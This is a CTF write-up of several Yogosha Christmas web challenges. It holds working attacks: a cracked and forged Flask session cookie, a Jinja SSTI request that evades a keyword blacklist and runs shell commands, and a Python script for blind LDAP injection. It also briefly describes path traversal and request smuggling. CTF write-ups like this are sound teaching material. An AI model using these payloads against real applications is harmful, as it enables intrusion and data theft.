Writeups for some Yogosha web challs.
There was a Yogosha CTF between 22nd22^{nd}22nd and 25th25^{th}25th December.
As it was not advertised a lot, I only found out on Sunday, December 24th24^{th}24th checking Yogosha slack and there weren’t a lot of participants ;(. Finished 4th4^{th}4th.
I only tried the small web challenges, but one resisted me. Curious to see the solution for Guess?, related to gRPC :).
Nothing new but it was fun nonetheless.
Rusta pasta was interesting for me, because I never pentested a Rust web application and never read Rust code.
Oh, that Grinch strikes again! This time, he pulled off a heist in the shop and ran off with our item. Can we catch him and get our stuff back? That Grinch is like a master thief on a mission! 🎁🕵️♂️
LINK: http://44.212.75.74:4041
Weak secret (diciembre25) for Flask cookie and issue with currency conversion (cur GET parameter).
We have 2 pages :
/?CUR=XXX.
/purchase.
We only have one cookie : session. Default value was : eyJjYW5fYnV5IjpmYWxzZX0.ZYnZFQ.9j1dwkWl7Up0r4c3FYf9Qcjb4QM
It’s a classic Flask cookie, that is to say composed of 3 parts, delimited by a dot:
$ echo eyJjYW5fYnV5IjpmYWxzZX0 | base64 -d
{"can_buy":false}`
To tamper it, we should find the secret used to sign it. To do so, I used flask-unsign.
$cookie=eyJjYW5fYnV5IjpmYWxzZX0.ZYnZFQ.9j1dwkWl7Up0r4c3FYf9Qcjb4QM
$flask-unsign --wordlist /opt/wordlists/rockyou.txt --unsign --cookie $cookie --no-literal-eval
[*] Session decodes to: {'can_buy': False}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 153728 attemptskjeogGWE28
b'diciembre25'
The secret is diciembre25.
Then we can change our current cookie:
flask-unsign --sign --cookie "{'can_buy': True}" --secret 'diciembre25'
eyJjYW5fYnV5Ijp0cnVlfQ.ZYnvCw.gS1XcURdYWFNI2GKrNssG_PrMq8
Doing so, we now have a difference error when trying to purchase our flag:

Now, the issue seems to be our current balance, inferior to the flag price.
Server-side injections (SQLi, SSTI, …) did not seem to work on the CUR GET parameter.
However, when changing ?cur=USDby ?cur=EUR, I found out that my current balance decreased ;(.


First thought was “hey, maybe when decreasing, there will be some kind of arithmetic underflow ?”. I sent a lot of requests to /?cur=EUR but it was in vain, my balance was just pretty low.


I tried to change by other values but I am not quite familiar with currency codes, so I downloaded a list on a random GitHub repository.
$curl https://raw.githubusercontent.com/datasets/currency-codes/master/data/codes-all.csv | cut -d "," -f 3 | sort | uniq | tee currency_codes.txt
When trying them all, I for instance found out that AUD (Australian Dollar) increased my balance.

As we can see, my balance is pretty high now ^^ (same as before, no integer/arithmetic overflow here).

Now, I can try to purchase the flag again.

Flag: flag{cookie_manipulation_currency_conversion_error}
flag{cookie_manipulation_currency_conversion_error}
Uh-oh! The Grinch hacked our testing website and swiped our flag. Can we get it back? It’s like he stole our Christmas cheer in cyberspace! 🎄🕵️♂️
LINK: http://44.212.75.74:8080
Source (app.py) included
Jinja SSTI with some blacklisted keywords in an email field. Moreover, the email must be a valid email address.
This challenge could be resolved without the source code. However, due to the time used by validate_email, it was a good choice to give it ^^.
There is only one page with one user input (email):

As this is a CTF challenge, there is probably an injection on this field.
Reading the source code, there seems to be a Jinja SSTI.
return render_template_string(f"Thanks for subscribing {request.form.get('email')}, you'll get coupon code once we complete developing our shop!")
Trying different inputs, there seems to be 2 different checks:


'1'@gmail.com gives us a new error message: there seems to be a blacklist in place. As the response from the server is long, it seems that I passed the first precedent “check”.
Reading the source code, there are indeed two checks:
validate_email(request.form.get("email"), check_smtp = True, check_dns = True) where validate_email is a function present in a Python library.email field (100-character long):BLACKLIST = ["{{", "}}", "_", "[", "]", "\\", "args", "form", "'"]
[...]
if (any([i in request.form.get("email") for i in BLACKLIST]) or len(request.form.get("email")) > 100)
request.args.get, request.form.get or request.headers.get to retrieve a part of the payload (strings that won’t be interpreted by Jinja engine) present as a GET parameter, POST parameter or in a header.
args and form) but not everything: header is not blacklisted, so we can use this one in what follows.
{{lipsum.__globals__["os"].popen('id').read()}} so even if there are blacklisted keywords, it seems in theory easy not to exceed even without using the last explained trick.validate_email check and {{ blacklistI saw directly on the GitHub repository that there were a lot of issues and as I am lazy and did not have a lot of time for this CTF, I thought “maybe amidst those issues, some can help to understand better the internal checks without reading the code and maybe a few ones are related to possible bypass” :D.
First, poking around issues (for instance this one,
' is blacklisted, but not ", so "1"@gmail.com verifies those 2 two checks: it’s a pretty known trick for email syntax validation (you can write almost everything between two quotes), see appendix resources.
{{ is blacklisted, but not {. Another well-known trick, this time for Jinja SSTI, is to use {% instead of {{. The syntax is a bit different (it is a statement) but not too much: we can for instance use {% print(expression) %} instead of {{expression}}.
Let’s try it: 
_We want to execute a payload such as {{lipsum.__globals__["os"].popen('id').read()}}.
As this payload suggests, Jinja SSTI payloads need the use of magic methods, we must bypass _ blacklist because magic methods look like this __name__.
We can’t use request.header because __globals__ is obviously not a string.
Another well-known trick in this case is the use of attr filter in Jinja: lipsum.__class__ is the same as lipsum|attr("__class__").

So now, we can construct our input. First, a valid email address can have the form "JINJA_PAYLOAD"@gmail.com.
For our JINJA_PAYLOAD:
{{lipsum.__globals__["os"].popen('id').read()}}
Same as {%print(lipsum.__globals__["os"].popen('id').read())%} ({% instead of {{)
Same as {%print(lipsum|attr('__globals__')).os.popen('id').read()%} (use of attr filter)
'globals' and 'id' will be present in some headers : {%print(lipsum|attr(request.headers.globals)).os.popen(request.headers.cmd).read()%}
POST /subscribe HTTP/1.1
Host: 44.212.75.74:8080
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
globals: __globals__
cmd: ls -la; cat flag.txt
Connection: close
email="{%print(lipsum|attr(request.headers.globals)).os.popen(request.headers.cmd).read()%}"@gmail.com

flag{hello_again!did_you_see_me_elsewhere?}
I love injections in email address (and phone number) fields. Good resources to start:
Let Dem Away Please. The admin description is the key to everything .
LINK: http://35.168.7.144:8081
PS: flag all lower case.
As we conjectured with the title : classic blind LDAP injection (on description field).
For some unknown reasons, there is a really basic blacklist (admin, wildcard * if nothing else in the current field ).
I think this was the easiest challenge.
Contacting the website, we got a 404 error:

As there was nothing in the HTML source code, I did some parameter (with Param Miner and x8 ; for more information about parameter fuzzing, see this), directory and file fuzzing with wfuzz and basic wordlists.
We found out a login endpoint.

Changing the method to POST, we got:

According to the error message, we must give it a JSON input, so I added a Content-Type: application/json header and an empty JSON input.

Then the fields of the JSON payload are leaked.
Now we can try injections on both fields.

As I was poking around, I found that some keywords were blacklisted:
admin:
* if it was the only thing in the field:

So admin seems to be a valid username.
I got a different response when sending this request:
POST /login HTTP/1.1
Host: 35.168.7.144:8081
Content-type: application/json
Content-Length: 36
{"username":"admi*","password":"e*"}


So I can probably retrieve the admin password. However, I thought one second later: “Who cares ? It’s not the flag because it begins with an e and it can’t be the flag hash because how could I cracked it to find the plaintext ?”.
I thought that there was probably another LDAP field.
Reading the description again, it was obvious that the field was probably description:
" The admin description is the key to everything"
I added the description field, and indeed this field seems to exist:


import requests
import string
url = "http://35.168.7.144:8081/login"
headers = {"Content-Type": "application/json"}
chars = string.ascii_lowercase+"0123456789_@{}-/()!\"$%=^[]:; "
start = "admi*)(description="
flag = "flag{"
for i in range(50):
for char in chars:
username = "admi*)(description=%s%s*" % (flag,char)
data = {"password": "e*", "username": username}
r = requests.post(url, headers=headers, json=data)
if "Success" in r.text:
flag = flag + char
print(flag)
break

flag{light_decorates_all_pines!}

He stole the application and switched the code base, no front is available, can you retrieve the flag?
LINK: http://44.212.75.74:4040
Sources included (public.7z)
scripts repository (path traversal) and execute this script with another feature.Finding routes
We don’t have any idea about this.
LINK: http://35.168.7.144:6000
Sources included (files.7z)
Basic smuggling using delete feature and CRLF to reach /flag in the backend.
No time (except for gRPC) to really check them out and pwn ad reverse are not my strong points :x
You won’t believe it—even the Grinch can’t resist this tool! I always catch him peeking at my notes. Want to see if it can tame that mischievous green guy? It’s like my secret weapon against Grinchy antics! 📝💚🕵️♂️
nc 54.144.45.142 1234
libc and binary file included
Pwn chall, I didn’t check it at all
Would you believe it? The Grinch managed to crack our precious “Guess?” game—a web-based word guessing extravaganza using gRPC magic! He swooped in, guessed, and made off with it. How in the world did he pull that off? That Grinch is a real web-game bandit! 🕹️🕵️♂️
LINK: 35.168.7.144:50051
guess.proto file included
I checked it a bit. I never interacted with gRPC before, so the first issue was interacting with it.
I used grpcurl and grpcui.
Command example for grpcurl : grpcurl -v -proto guess.proto -plaintext -format text -d 'username:"totoro", password: "totoro"' 35.168.7.144:50051 guess.Guess/Signup
can you get the secret ?
Binary file included
I did not check it, reverse challenge.